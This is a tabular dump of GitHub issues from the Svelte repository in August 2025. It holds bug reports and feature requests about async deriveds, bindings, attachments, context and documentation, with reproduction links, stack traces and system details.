When chaining async $derived statements here, I get an unnecessary waterfall warning, then upon navigation (and probably other actions, based on the repo below, created by Patrick on discord) a `Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment')` error is thrown, bombing out the application.

### Reproduction

https://svelte.dev/playground/5b6c8374b0cf434196aa359ad60fdbcb?version=5.38.2#H4sIAAAAAAAACo1QXU-EMBD8K01jAhcv8I6AAf-CDxrxofQWbITStMsdhPDfLR_enYrRp93uzM50Z6CS1UADmjPkb56QXEMNEknelnRPC1GBocHLQLFXE20a2Pm6lCjlmSNUOM1yZmBrzhuJVtHK0NBwLRTGmcxQ1KrRSBJS6KYmjucn64pzdwWnZzi9hi2hAiQPTa1IRG4MMgQ33a1Q0UqOopEEm7KswN2RYRpnuPKXEkXW_N46BCSZLcdMhv7lhzLMW0Sr0kheCf4eDYvcGD_ONfQX3HLDWdG3nb0XoUMaoG5h3P-W23Zqf2bGTC85OZ9XAj5djtOArZbE6ZzPa7YWnt3u-0ZHbonTX7Zssf4GLWCzPYAWRzi47MQErpZz0Cup3yRNNhPra6AqHrox9FW89P3c_y-ydDOydDsyFac_lV_ti4nqJOSBBgWrDIwfC3HBDf4CAAA

### Logs

```shell
deriveds.js:139 Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment')
    at deriveds.js:139:24
    at update_reaction (runtime.js:292:16)
    at update_effect (runtime.js:472:18)
    at create_effect (effects.js:126:4)
    at async_effect (effects.js:339:9)
    at Module.async_derived (deriveds.js:118:2)
    at $$body (+page.svelte:18:13)
(anonymous)	... [TRUNCATED]",,2025-08-22T10:22:41Z,2025-08-22T10:24:53Z,0
sveltejs/svelte,3341767272,There is no value attribute on the <input> tag in the DOM tree.,"### Describe the bug

https://svelte.dev/playground/bddf99ab129444138c6bec09ccf1fe3e?version=5.38.2

We pass the value from the store into the child component, but in the DOM tree, as you can see, the <input> tag does not have a value attribute.

### Reproduction

Need to add a value attribute to a tag

### Logs

```shell

```

### System Info

```shell
Browsers
```

### Severity

annoyance",,2025-08-21T13:28:39Z,2025-08-22T08:06:38Z,12
sveltejs/svelte,3341427616,Custom elements documentation doesn't mention $host,"### Describe the bug

I'm converting a Svelte custom element from v4 to v5 and needed a way to get the host element in my component code.

The custom elements doc page:  
   https://svelte.dev/docs/svelte/custom-elements
does not mention the `$host()` rune -- there is a link to it in the sidebar, but there is no mention of it on that page.

A short paragraph pointing to the rune would have saved me 30-40 minutes of trolling through stack overflow/github issues trying to find out the magic incantation.

### Reproduction

- Go to the custom elements page:
https://svelte.dev/docs/svelte/custom-elements

- Note that there is no reference to the `$host()` rune -- which is only applicable in custom elements -- on that page.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6
    CPU: (12) arm64 Apple M2 Pro
    Memory: 124.95 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.18.0 - ~/.volta/tools/image/node/20.18.0/bin/node
    Yarn: 1.22.22 - ~/.volta/tools/image/yarn/1.22.22/bin/yarn
    npm: 10.8.2 - ~/.volta/tools/image/node/20.18.0/bin/npm
  Browsers:
    Chrome: 139.0.7258.129
    Safari: 18.6
  npmPackages:
    svelte: ^5.0.0 => 5.34.7
```

### Severity

annoyance",documentation,2025-08-21T11:47:56Z,2026-04-27T17:37:45Z,3
sveltejs/svelte,3340056791,actions and attachments don't work in async components,"### Describe the bug

All attachments and actions are broken in any component with an `await` in its script block. They don't get called immediately and I'm unable to reproduce when they eventually do get called.

This reproduces it, and commenting out the promise works.
```svelte
<script>
  await Promise.resolve()
</script>

<div {@attach () => { console.log('never runs') }}></div>
```

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.38.2#H4sIAAAAAAAAA52S3W6cMBCFX2XkVAKkzbJdJa1KYdP0vlKlXsZV5MLAWjI2wgObCPHulQ37Q5q96Z115szx5xkPTIsaWcIEkcj3NWqybMVKqdCy5Glg9Nq4shPY6mh-bJq17VGR0_4Ii-_pudHk4xKW2ryVDe245iQOQhL8bE0tLa5btEb1GEaupJBg4sACMvhgSRCGpVAWo68nQ07S6CuGstO-PLvCCAYnc7roorZDbx65TuMzmU4L2cPwbSIAbQqEbHcKOHOdA0b_ose59ADDyfUAwSvaABIItAn8TYXsd_MlncVkIpoCJuZWaBdxJL0SwVaM8IVY4jDG1ZUN_eqrdze00P_dENSm6BTujsOuTacJi2ejc4QM_KSXg7Z706ni2RvP45YlhJe9EbRIXasvEji9CT-NldNsvr6pi_-0KA03snyDNDpTavvq6mpzo61RuFamCoPJInUFtq-C6GLNnNIKZJFxZvuKs1njlDaC9uD0H9sNfIIv8PGzur2_vecM4mNnXPlTGtvenYZYlu5RDquXePhuXjLONrCB7R1s7zj7D1jYLnDTziLsWywzzm48saeZCJaf6PeKkZDqIHXBEr-h8S9BbagTGAQAAA==)

### Severity

blocking all usage of svelte",,2025-08-21T02:24:13Z,2025-09-08T21:26:40Z,2
sveltejs/svelte,3333277603,Reconsidering TypeScript for Svelte Compiler Internals,"### Describe the problem

I would like to respectfully open a discussion regarding the possibility of moving the compiler and internal codebase back to TypeScript. I fully appreciate the rationale behind the initial decision to use JavaScript with JSDoc annotations, as articulated by Rich Harris: “We also eliminate an entire class of annoying papercuts that will be familiar to anyone who has worked with the uneven landscape of TypeScript tooling” ([reddit.com](https://www.reddit.com/r/programming/comments/13f9mdx/typescript_is_not_worth_it_for_developing/?utm_source=chatgpt.com)). The concerns about tooling friction, dual compilation, and iteration speed were entirely valid at the time.

However, the development landscape has evolved significantly. Node 23.6 now allows TypeScript files to run natively, substantially reducing the historical overhead of compilation. Tooling has also improved, with solutions such as tsx providing near-instant feedback loops. Many of the previous bottlenecks around compile-then-run workflows are now largely obsolete.

At the same time, the developer ecosystem has shifted. More contributors today are TypeScript-native rather than relying on JavaScript with TypeScript adaptations. Reintroducing TypeScript internally could broaden the pool of potential maintainers, reduce onboarding friction, and enable the team to take advantage of modern TypeScript features and stricter typing guarantees without compromising speed or simplicity.

I raise this sugg... [TRUNCATED]",,2025-08-19T07:40:06Z,2025-08-20T14:04:24Z,6
sveltejs/svelte,3333274369,Reconsidering TypeScript for Svelte Compiler Internals,"### Describe the problem

I would like to respectfully open a discussion regarding the possibility of moving the compiler and internal codebase back to TypeScript. I fully appreciate the rationale behind the initial decision to use JavaScript with JSDoc annotations, as articulated by Rich Harris: “We also eliminate an entire class of annoying papercuts that will be familiar to anyone who has worked with the uneven landscape of TypeScript tooling” ([reddit.com](https://www.reddit.com/r/programming/comments/13f9mdx/typescript_is_not_worth_it_for_developing/?utm_source=chatgpt.com)). The concerns about tooling friction, dual compilation, and iteration speed were entirely valid at the time.

However, the development landscape has evolved significantly. Node 23.6 now allows TypeScript files to run natively, substantially reducing the historical overhead of compilation. Tooling has also improved, with solutions such as tsx providing near-instant feedback loops. Many of the previous bottlenecks around compile-then-run workflows are now largely obsolete.

At the same time, the developer ecosystem has shifted. More contributors today are TypeScript-native rather than relying on JavaScript with TypeScript adaptations. Reintroducing TypeScript internally could broaden the pool of potential maintainers, reduce onboarding friction, and enable the team to take advantage of modern TypeScript features and stricter typing guarantees without compromising speed or simplicity.

I raise this sugg... [TRUNCATED]",,2025-08-19T07:38:59Z,2025-08-19T07:39:14Z,0
sveltejs/svelte,3330922675,Cannot read properties of null (reading 'length') after updating svelte from 5.38.1 to 5.38.2,"### Describe the bug

After updating svelte from 5.38.1 to 5.38.2, I get the following error 

```
Uncaught TypeError: Cannot read properties of null (reading 'length')
    at flush_queued_effects (chunk-4EMMLRQK.js?v=ca8f2691:2242:31)
    at _Batch.process (chunk-4EMMLRQK.js?v=ca8f2691:1961:7)
    at flush_effects (chunk-4EMMLRQK.js?v=ca8f2691:2206:13)
    at _Batch.flush (chunk-4EMMLRQK.js?v=ca8f2691:2075:7)
    at chunk-4EMMLRQK.js?v=ca8f2691:2135:17
    at dequeue (chunk-4EMMLRQK.js?v=ca8f2691:1837:3)
```

### Reproduction

Open the following two links in the browser

- Working example with svelte 5.38.1 https://stackblitz.com/edit/github-4kfsrzr5?file=package.json%3AL21
- Not working example with svelte 5.38.2 https://stackblitz.com/edit/github-4kfsrzr5-cyspqsmh?file=package.json%3AL21


In the second example, the following error will show in the console:

```
Uncaught TypeError: Cannot read properties of null (reading 'length')
    at flush_queued_effects (chunk-4EMMLRQK.js?v=ee419023:2242:31)
    at _Batch.process (chunk-4EMMLRQK.js?v=ee419023:1961:7)
    at flush_effects (chunk-4EMMLRQK.js?v=ee419023:2206:13)
    at _Batch.flush (chunk-4EMMLRQK.js?v=ee419023:2075:7)
    at chunk-4EMMLRQK.js?v=ee419023:2135:17
    at dequeue (chunk-4EMMLRQK.js?v=ee419023:1837:3)
```

### Logs

```shell
N/A
```

### System Info

```shell
N/A
```

### Severity

annoyance",,2025-08-18T14:15:15Z,2025-08-26T19:59:47Z,18
sveltejs/svelte,3328276723,Hash styles by filename rather than contents,"### Describe the problem

Svelte adds `svelte-xyz123` hashes to CSS rules and the corresponding elements, so that styles don't affect other components. This hash is based on the contents of the `<style>` block.

This works but it means that the hashes [change frequently between deployments](https://bsky.app/profile/uncenter.dev/post/3lwlrsfjmo22l). It might be better to default to hashing based on the filename instead. I think the reason we didn't originally do this was that not all project setups made the filename available to the compiler, but now that most people are using `vite-plugin-svelte` that's probably not an issue any more.

### Describe the proposed solution

Update this...

https://github.com/sveltejs/svelte/blob/7b2d7746277dae6372ed7b836ad895bde536dc89/packages/svelte/src/compiler/validate-options.js#L73-L75

...to this:

```js
cssHash: fun(({ css, filename, hash }) => {
  return `svelte-${hash(filename ?? css)}`;
}),
```

### Importance

nice to have",css,2025-08-17T12:10:58Z,2025-09-10T20:52:12Z,2
sveltejs/svelte,3328028340,Is it theoretically possible to replace Svelte with HTML in a project?,"### Describe the problem

Although Svelte files are a superset of HTML files and are more suitable for Svelte parsing, the filename is somewhat lengthy. IDEs require additional plugins to properly display them, and even in AI inquiries, there is no code coloring. This is not very ergonomic...

### Describe the proposed solution

Could the next version switch to using a more traditional HTML file format?

### Importance

nice to have",,2025-08-17T06:44:18Z,2025-08-17T06:56:00Z,1
sveltejs/svelte,3327672525,Two way binding to a property of an object in an array update is delayed,"### Describe the bug

If I use a complex two way binding to read and update a value on an object in an array that is inside a class _(see minimal reproduction code below)_ I get weird behaviour where the update doesn't happen until a second input. 

```html
<script>
	class MyStore {
		arrayOfComplexObjects = $state([{ value: ""value"" }])
		
		updateObject = (x) => {
			this.arrayOfComplexObjects = this.arrayOfComplexObjects.map(_ => ({ value:x }))
		}
	}
	
	const myStore = new MyStore();
</script>

{#each myStore.arrayOfComplexObjects as obj}
	<div>
		{obj.value}
	</div>
	<input bind:value={() => obj.value, (x) => myStore.updateObject(x)} />
{/each}

```

This issue does not occur on version 5.35.1.

### Reproduction

The issue is reproduced in a minimal reproduction here

https://svelte.dev/playground/ac953fd28f2941ef8a8f105461d061f3?version=5.38.1

### Logs

No relevant logs.

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (12) x64 AMD Ryzen 5 PRO 8540U w/ Radeon 740M Graphics
    Memory: 3.54 GB / 14.67 GB
  Binaries:
    Node: 22.17.0 - ~\AppData\Local\Volta\tools\image\node\22.17.0\node.EXE 
    npm: 10.9.2 - ~\AppData\Local\Volta\tools\image\node\22.17.0\npm.CMD    
  Browsers:
    Edge: Chromium (139.0.3405.102)
  npmPackages:
    svelte: ^5.0.0 => 5.37.2
```

### Severity

blocking an upgrade",,2025-08-16T21:34:57Z,2025-08-25T21:14:18Z,1
sveltejs/svelte,3325053344,setContext fails in child component after await in script tag,"### Describe the bug

Components using `setContext` cause application to crash if rendered after an `await` in the component script tag. 
The issue is seemingly __not__ present when running dev server, only in production builds.

### Reproduction

https://svelte.dev/playground/59116dbb8f1e484b8aefd3b0ebd303eb?version=latest


### Logs

```shell
Error
Svelte error: set_context_after_init
`setContext` must be called when a component first initializes, not in a subsequent effect or after an `await` expression
https://svelte.dev/e/set_context_after_init
```

### System Info

```shell
System:
    OS: macOS 15.6
    CPU: (8) arm64 Apple M1 Pro
    Memory: 79.70 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
    pnpm: 10.9.0 - ~/.nvm/versions/node/v22.14.0/bin/pnpm
  Browsers:
    Chrome: 139.0.7258.128
    Safari: 18.6
  npmPackages:
    svelte: ^5.0.0 => 5.38.1
```

### Severity

blocking an upgrade",,2025-08-15T11:23:19Z,2025-10-25T15:16:30Z,7
sveltejs/svelte,3324977781,Svelte compiler points to wrong location when HTML tag is improperly closed inside a block,"### Describe the bug

When a <button> tag is incorrectly closed as <button/> instead of </button> inside an {#if} block, the Svelte compiler throws ""Unexpected block closing tag"" and highlights the {/if} line, rather than the actual problematic HTML tag.
<img width=""784"" height=""242"" alt=""Image"" src=""https://github.com/user-attachments/assets/510ebedf-bc9c-456f-bab1-6b5f193287c4"" />

### Reproduction

Create a Svelte component with:
```
{#if true}
	<button>Click me<button/>
{/if}
```


### Logs

```shell

```

### System Info

```shell
not important
```

### Severity

annoyance",,2025-08-15T10:40:39Z,2025-08-15T21:13:59Z,1
sveltejs/svelte,3324623913,Attachment in Async / Await Component not working,"### Describe the bug

In my App (in Dev Mode) i experienced that my attachement didn't trigger when the node was added to the DOM. Only after the component refreshed ( from HMR i guess ) the attachment triggered and in my case rendered a map. 

I have a small repl where it doesn't work either but i don't know if async is activated on the Svelte Playground.  Maybe this is the expected output and i'm doing something wrong in the repl. 

Thanks for your help ♥️

### Reproduction

https://svelte.dev/playground/8fe0eb6dbe8943b5ba057de9b6259ecb?version=latest

### System Info

```shell
svelte: 5.38.1
```

### Severity

blocking all usage of svelte",bug,2025-08-15T07:53:12Z,2025-09-11T14:58:58Z,3
sveltejs/svelte,3322343053,Crash on circular reference assignment in $state with 5.34.0+,"### Describe the bug

Assigning a circular reference into a `$state` object immediately crashes with a RangeError (maximum call stack size exceeded) in Svelte 5.34.0+, even without any recursion.

This worked as expected in Svelte 5.33.19.


### Reproduction

```svelte
<script>
  const filesState = $state({ files: {} });
  let nodes = { id: 1, items: [{ id: 2, items: [{ id: 3 }, { id: 4 }] }] };

  filesState.files = nodes;
  console.log('before assignment');
  filesState.files.items[0].parent = filesState.files; // 💥 crashes here
  console.log('after assignment'); // never reached
</script>
```

### Logs

```shell

```

### System Info

```shell
- Svelte version: 5.34.0 (and above)
- Previous working: 5.33.19
```

### Severity

blocking an upgrade",,2025-08-14T13:57:09Z,2025-08-14T20:36:30Z,3
sveltejs/svelte,3320342825,$inspect and $state.snapshot call `toJSON` method on Three.js objects,"### Describe the bug

All Three.js objects contain a `toJSON` method for serializing state. In Svelte applications involving Three.js, including Threlte apps, it's common to create $state or $derived runes containing Three class instances. For example, one reason for doing this is that some objects must be recreated upon constructor parameter changes.

`$inspect` and `$state.snapshot` (haven't tested anything else yet) seem to be calling these objects' `toJSON` method, serializing them into objects with a completely different structure. This renders these runes unusable, since the logged object isn't the actual class instance.

### Reproduction

https://svelte.dev/playground/b9b4dded798b47b6b9cf293fe67d3d22?version=5.38.1

Open console to see serialized objects vs class instances.

### System Info

```shell
System:
    OS: macOS 15.6
    CPU: (8) arm64 Apple M2
    Memory: 398.06 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - /usr/local/bin/node
    npm: 10.9.2 - /usr/local/bin/npm
    pnpm: 9.15.9 - ~/Library/pnpm/pnpm
  Browsers:
    Chrome: 139.0.7258.68
    Safari: 18.6
```

### Severity

annoyance",,2025-08-14T01:07:27Z,2025-08-14T19:51:00Z,3
sveltejs/svelte,3318806976,Redirects inside remote function queries not working as expected,"### Describe the bug

In [the SvelteKit docs](https://svelte.dev/docs/kit/remote-functions#Redirects), it’s stated that redirects should work inside query functions. However, when I trigger a redirect within a query, the navigation happens, but the pending state persists — the UI continues to show the loading snippet instead of rendering the new page’s content. This gives the impression that the page is stuck in a loading state, even though the redirect has occurred.

Expected behavior: After a redirect from a query, the new page should render immediately, just like with redirects in load functions.

### Reproduction

[Stackblitz](https://stackblitz.com/edit/sveltejs-kit-template-default-fjfrbi2p?file=src%2Flib%2Fredirect.remote.ts)

### Logs

```Shell
Uncaught (in promise) Redirect {status: 307, location: '/about'}
```

### System Info

```Shell
From Stackblitz:

  System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    @sveltejs/adapter-auto: ^6.0.0 => 6.1.0 
    @sveltejs/kit: ^2.28.0 => 2.28.0 
    @sveltejs/vite-plugin-svelte: ^6.0.0 => 6.1.1 
    svelte: ^5.38.1 => 5.38.1 
    vite: ^7.0.4 => 7.1.2
```

### Severity

blocking an upgrade

### Additional Information

_No response_",,2025-08-13T07:43:00Z,2025-08-18T17:10:09Z,1
sveltejs/svelte,3316752551,Fix in 5.38.0 breaks async iterators,"### Describe the bug

In 5.38.0 `return` of async iterator stops being called when breaking out of the loop. The REPL is based on a real code we have in production that got broken with the update. Mostly likely its https://github.com/sveltejs/svelte/pull/16521.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.37.3#H4sIAAAAAAAAE51VS2_bMAz-K5ovldHAC3rM2gDDdliBndrdmh4Um26MqpIn0cmCwP99lGQ1dqwBxWAgsT4-RH58-JQp8QbZKvsBUmp20EZWjEPVIFR5tsjqRoLNVk-nDI-t03MA4YPV17Yt7B4kOmwrLKTwUisEheQmu7WlaVpcb9QGSymsZb_AIju5MyFaWTRdidrwPIIbxF1jCxKAeGN3TMGBPYCoxFbCowf5u-YGLQqDvEQjRw68APCewjB7ITk5v1tPxXQ52RSgfnfQAf8uEAqlDzzPx1r9gt0sl8sR1sfXfgAj4H9h7_LmUUe3aCmDE2uNl3wTqgS5YrWQFli_CHqjwD0hjHKswJDhiIjiBfDB4zz_4tUHEwPYGTVO7unx-LbVshD2qMp7okAQv8_8gp-5nXu8DVH-By_1fWHMcQ7GqJ0RxSwOookpFO7vIt7z09SMO6Oi0goSt4UoBz8SqNl-6vI1upsphnSYc7Zi1FWwYFT7jg6dqqBuFFSsT9j26ejS_IRn8OuD9--LlFaIxNc6IZ-H0rNSYLmjaTQmSccHycCd0QdGTuY3TIGhARMNEJLnPrdEKK7gWkIh9Qu_CrpX-SyQi7Mr9yc3EcVkGpKZho4qvQL11JB4OA9RJRL_ID-hQ4OzRBHAzeb_sp9spn_35qwh-0mnjKVnSUT9Xe5HRcLQ7dawMd2a5b4me91ULKzJPCiHGtedKrHRKspizhKIHN253Um-lgGstRkmm4erfAWZrv2dxbD3ZovOpcp62qk43XGxebzymcXh2uvrCLieibGs2U3OtlSF18ninfQi0KRXoRU9Mbef378_9F1Cmtds5WLqn-kkGnloVJWt_Ij2fwEUHGZ_GgcAAA==)

Observe logs in both 5.38.0 and 5.37.3. Newer version is missing `return` log.

Expected sequence should be `number -> number -> number -> return -> ended`.

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-08-13T03:11:56Z,2026-03-20T07:37:22Z,7
sveltejs/svelte,3316170057,Input of type `file` does not update when you set the bound `files` prop to `undefined`,"### Describe the bug

I would expect that for some markup like this

```svelte
<input type=""file"" bind:files={files} />
```

Setting the files variable to `undefined` would update the input element state to have no selected files just as it is when the `files` variable has an initial value of `undefined`.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.38.1#H4sIAAAAAAAACm2PMWvDQAyF_4oQGWwwSbq6cSDQoUvp0q3X4eyTmwNFZ3xy0mD838vZTUqhaBB8enp6GlHsibDEZ2IOcAk9O8jIeSWXY4GtZ4pYvo-o1y7pEsDitnXounU8E2titY30H2-CKIlGLHEXm953ujdilElhtocKVlGtUpY_psGK2pYazbK82o8JGPUtZLM2_wFGI-mbP1EY_ghTNUFiYFpz-MzM8gGcbe9tzQQ-goQLDOKo9UIO6kFBjwRPry9ATCcShaieGY72TEtCg0uypW6h7x732VTAw3a7vYmn1KbcyG7z-7fsvHTp5rWjaolnEGovrpyNq3FuE2z2RrBApS_FUvuBpo8C1Xq-eHFYtpYjTd_hmLCmwAEAAA==

### Logs

```shell

```

### System Info

```shell
Does not matter
```

### Severity

annoyance",,2025-08-12T22:42:18Z,2025-08-13T08:09:19Z,2
sveltejs/svelte,3315452731,Using a `$derived` value with `setContext` emits warning,"### Describe the bug

When putting a `$derived` inside `setContext`, a `state_referenced_locally` warning is shown. I think the warning is wrong.

```ts
let foo = $derived(...);

// Warning: This reference only captures the initial value of `foo`.
// Did you mean to reference it inside a closure instead?
setContext(""derived-context"", foo);
```

### Reproduction

https://svelte.dev/playground/1cdbccb4b0be48aba01cd0d27e74aa35?version=5.38.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.15 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (16) x64 Intel(R) Xeon(R) W-11955M CPU @ 2.60GHz
    Memory: 3.03 GB / 15.23 GB
    Container: Yes
    Shell: 5.2.15 - /bin/bash
  Binaries:
    Node: 20.19.3 - /usr/local/bin/node
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 10.11.1 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.37.3 => 5.37.3
```

### Severity

annoyance",,2025-08-12T18:52:05Z,2025-08-13T06:14:39Z,2
sveltejs/svelte,3313220294,Support for arbitrary :bind expressions,"### Describe the problem

If you try to use a function or anything other than a simple identifier or a member expression in a `bind:` directive you get an error:

```
<input bind:value={foo().bar} />
```

```
Can only bind to an Identifier or MemberExpression or a `{get, set}` pair
```

Since svelte 5.9.0 it is possible to do the above using get/set [function bindings](https://svelte.dev/docs/svelte/bind#Function-bindings) like this:

```
<input bind:value={
    () => foo().bar,
    (v) => foo().bar = v
} />
```

For cases like this where you're just getting/setting the same property on some arbitrary expression, it would make sense to be able to use the default `bind:` syntax as a shortcut.

### Describe the proposed solution

Arbitrary bind expressions like this:

```
<input bind:value={foo().bar} />
```

Should compile into get/set bindings like this:

```
<input bind:value={
    () => foo().bar,
    (v) => foo().bar = v
} />
```

The only constraint is that the expression be a property access of some kind, but the expression for the object and the expression for the property can both be arbitrary expressions.

In other words, these would all be valid:

```
<input bind:value={foo().bar} />
<input bind:value={foo[bar]} />
<input bind:value={foo[bar()]} />
<input bind:value={foo()[bar()]} />
```

But these would still result in an error:

```
<input bind:value={foo()} />
<input bind:value={foo.bar()} />
```

### Importance

nice to have",,2025-08-12T08:51:53Z,2025-08-12T10:50:23Z,8
sveltejs/svelte,3308686466,Inconsistent When Passing CSS Variables in Svelte,"### Describe the bug

I've defined a dynamically updating CSS variable --hue in App.svelte (updates every 50ms) and I'm passing it to Child components using four different methods:

Directly via Svelte's --bg-color property on the component tag
Via the style attribute setting --bg-color
Relying on CSS variable inheritance (parent defines variable, child uses it)
Referencing the parent variable in the style attribute with var(--parent-bg)

However, I've noticed that the colors displayed in the child components are inconsistent


### Reproduction

https://svelte.dev/playground/5b8bf537ceb040ea9ece40788153d0a8?version=5.38.0

### Logs

```shell

```

### System Info

```shell
svelte playground + chrome
```

### Severity

annoyance",,2025-08-11T06:51:43Z,2025-08-11T07:50:18Z,3
sveltejs/svelte,3308231825,Re-add documentation for JSDoc and $props(),"### Describe the problem

The documentation addition made in https://github.com/sveltejs/svelte/pull/11370 (for issue https://github.com/sveltejs/svelte/issues/10541) seems to have disappeared.

### Describe the proposed solution

I hope we can bring this back, including:

- How to document props via JS or TS
- How to document components via `@component`

### Importance

nice to have",documentation,2025-08-11T02:07:29Z,2026-06-15T17:34:27Z,4
sveltejs/svelte,3307843118,Getting remote functions waterfall despite following the docs,"### Describe the bug

This is what the [docs for `await_waterfall` warning](https://svelte.dev/docs/svelte/runtime-warnings#Client-warnings-await_waterfall) recommend to do to avoid waterfalls:

```js
let aPromise = $derived(one());
let bPromise = $derived(two());

let a = $derived(await aPromise);
let b = $derived(await bPromise);
```

And this is what I'm doing:

```js
let quotesPromise = $derived(getQuotes());
let authorsPromise = $derived(getAuthors());

let quotes = $derived(await quotesPromise);
let authors = $derived(await authorsPromise);
```

I fail to see any difference between what I'm doing and what the docs tell me to do. Despite that, the waterfall and the warning are still there.


### Reproduction

https://stackblitz.com/edit/svelte-waterfall-warning-repro?file=src%2Froutes%2F%2Bpage.svelte

Open the preview in new tab, so that you can see the console warning and the waterfall in devtools.

### Logs

```shell
[svelte] await_waterfall (+page.svelte:7)
An async derived, `quotes` (src/​routes/​+page.svelte:7:14) was not read immediately after it resolved. This often indicates an unnecessary waterfall, which can slow down your app
```

### System Info

```shell
(StackBlitz container)

System:
  OS: Linux 5.0 undefined
  CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
  Memory: 0 Bytes / 0 Bytes
  Shell: 1.0 - /bin/jsh
Binaries:
  Node: 20.19.1 - /usr/local/bin/node
  Yarn: 1.22.19 - /usr/local/bin/yarn
  npm: 10.8.2 - /usr/local/bin/npm
  pnpm: 8.15.6 - /usr... [TRUNCATED]",,2025-08-10T18:28:31Z,2025-10-20T20:12:44Z,2
sveltejs/svelte,3307829664,"TypeError: Can't access property ""increment"", batch is null","### Describe the bug

In specific cases, involving async ~and remote functions~ (see reproduction), Svelte throws an error:

```
TypeError: Can't access property ""increment"", batch is null
```

### Reproduction

~https://stackblitz.com/edit/svelte-await-null-batch-repro?file=src%2Froutes%2F%2Bpage.svelte~

~Open the preview in new tab, so that you can see console errors. Click the „OK” button in any row, then click „Verify next one”.~

Found a simpler reproduction that doesn't involve SvelteKit: https://svelte.dev/playground/bc31c16761ea4fabbaf8634c62d0698f?version=5.38.0.

### Logs

```shell
Uncaught (in promise) TypeError: can't access property ""increment"", batch is null
    async_derived deriveds.js:139
    update_reaction runtime.js:287
    update_effect runtime.js:467
    create_effect effects.js:125
    async_effect effects.js:338
    async_derived deriveds.js:118
    $$body Form.svelte:11
    Form Form.svelte:94
    effect2 hmr.js:47
    update_reaction runtime.js:287
    update_effect runtime.js:467
    create_effect effects.js:125
    branch effects.js:377
    wrapper hmr.js:38
    update_reaction runtime.js:287
    update_effect runtime.js:467
    create_effect effects.js:125
    block effects.js:365
    wrapper hmr.js:28
    alternate +page.svelte:32
    add_svelte_meta context.js:49
    alternate +page.svelte:32
    alternate_effect if.js:115
    update_reaction runtime.js:287
    update_effect runtime.js:467
    create_effect effects.js:125
    branch effects.js:... [TRUNCATED]",,2025-08-10T18:08:58Z,2025-08-25T18:29:40Z,3
sveltejs/svelte,3307403478,$effect does not run nested inside $derived (with repro),"### Describe the bug

An $effect inside a $derived statement does not run when the derived variable is accessed by two (or more) lines in a template, where the first one ""unsubscribes"" immediately. The second reference still gets the right return value, it's just that the effect never executed.

This was first reported by users of GitButler, and I managed to distill it down into a reproducible playground example. The setup might not be an ideal way of doing things, but it represents what you might end up with as a code base slowly evolves.

### Reproduction

This does not work: https://svelte.dev/playground/719a2a834fd34d02a204ac4b7c65973b?version=5.35.4
This works as expected: https://svelte.dev/playground/719a2a834fd34d02a204ac4b7c65973b?version=5.35.3

### Speculation

When the first template immediately updates with `toggle = true` the dependency on `result` is removed from the component's render effect, trigger a call to [`destroy_derived_effects`](https://github.com/sveltejs/svelte/blob/d2ba2589fee2ec6985c0fe0fbd800ab34518378e/packages/svelte/src/internal/client/reactivity/deriveds.js#L252), and its status is set to [`MAYBE_DIRTY`](https://github.com/sveltejs/svelte/blob/d2ba2589fee2ec6985c0fe0fbd800ab34518378e/packages/svelte/src/internal/client/runtime.js#L411).

When the dependency is re-established `is_dirty` returns false since the dependencies haven't changed, and the effect is not run. If this were true, it would perhaps explain why `$effect.pre` is unaffected by... [TRUNCATED]",,2025-08-10T09:49:13Z,2026-03-04T10:58:51Z,2
sveltejs/svelte,3306880769,Set custom element data fails when using builtin custom elements.,"### Describe the bug

The helper `set_custom_element_data` only checks for autonomous custom elements but fails to check for builtin custom elements (`is` attribute) [here](https://github.com/sveltejs/svelte/blob/d2ba2589fee2ec6985c0fe0fbd800ab34518378e/packages/svelte/src/internal/client/dom/elements/attributes.js#L244), so it always set the value as attribute.

### Reproduction

https://svelte.dev/playground/46f14880c73443318e26dd375ff3c0d2

### Logs

```shell

```

### System Info

```shell
REPL
```

### Severity

annoyance",,2025-08-09T21:52:09Z,2025-08-25T19:06:54Z,0
sveltejs/svelte,3306519233,In Firefox target not defined in render.js#L196 (_mount/handle_event),"### Describe the bug

Sometimes `target` in https://github.com/sveltejs/svelte/blob/main/packages/svelte/src/internal/client/render.js#L196 is not defined in Firefox.

The exception occurs especially if the page is loaded in a background tab.
Could be a scheduling/GC bug in firefox again.

### Reproduction

I am not able to reproduce the bug in a minimal example and not in dev mode.
But I noticed for multiple of my svelte pages running in production that the page sometimes does not load if it is opened in a new tab in Firefox loading in the background.

For example open [this link](https://static.laszlokorte.de/renew-inspector/) in new tab multiple times (20 times) so that the tab loads in the background. Then switch to the newly opened tabs one after another and notice that for some of them the page did not load but threw an exception.

<img width=""790"" height=""239"" alt=""Image"" src=""https://github.com/user-attachments/assets/948af146-168d-45f7-9b49-bde87f29a759"" />

<img width=""653"" height=""541"" alt=""Image"" src=""https://github.com/user-attachments/assets/913691b0-e54e-4c92-bb4e-fbbb6bd260ee"" />

### Logs

```shell

```

### System Info

```shell
svelte@5.38.0
Firefox 141.0.3 (aarch64)
```

### Severity

